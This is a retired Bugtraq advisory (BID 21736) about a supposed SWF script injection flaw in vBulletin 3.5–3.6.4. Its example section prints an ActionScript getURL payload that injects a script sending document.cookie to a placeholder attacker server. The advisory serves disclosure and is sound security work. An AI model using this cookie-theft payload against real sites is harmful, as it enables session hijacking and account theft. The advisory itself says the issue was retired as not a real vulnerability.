RETIRED: VBulletin SWF Script Injection Vulnerability

Bugtraq ID:	21736
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Dec 25 2006 12:00AM
Updated:	Jan 04 2007 06:26PM
Credit:	Discovery is credited to Ashraf Morad.
Vulnerable:	VBulletin VBulletin 3.6.4 VBulletin VBulletin 3.6.3 VBulletin VBulletin 3.6.2 VBulletin VBulletin 3.6.1 VBulletin VBulletin 3.6 VBulletin VBulletin 3.5.4 VBulletin VBulletin 3.5.3 VBulletin VBulletin 3.5.2 VBulletin VBulletin 3.5.1
Not Vulnerable:

RETIRED: VBulletin SWF Script Injection Vulnerability

vBulletin is prone to a vulnerability that may let remote attackers inject arbitrary script code into the application.

If exploited, this vulnerability may let attackers steal cookie-based authentication credentials. Other attacks are also possible.

Update: Note that the ability to upload SWF files is disabled by default, and must be enabled by site administrators to expose this issue.

This BID is being retired because further information shows that the application is not vulnerable to this issue.

RETIRED: VBulletin SWF Script Injection Vulnerability

The following example was provided:

getURL("javascript:function blab(){}var scriptNode =
+document.createElement('script');document.getElementsByTagName('body')[0].appendChild(scriptNode);scriptNode.language='javascript';scriptNode.src='http://www.YourServer/UrPHPpage.php?Cookie='+document.cookie
+;blab();");

RETIRED: VBulletin SWF Script Injection Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected]:[email protected].

This BID is being retired because further information shows that the application is not vulnerable to this issue.

RETIRED: VBulletin SWF Script Injection Vulnerability

References:

• XSS with Vbulletin (new idea !) ([email protected])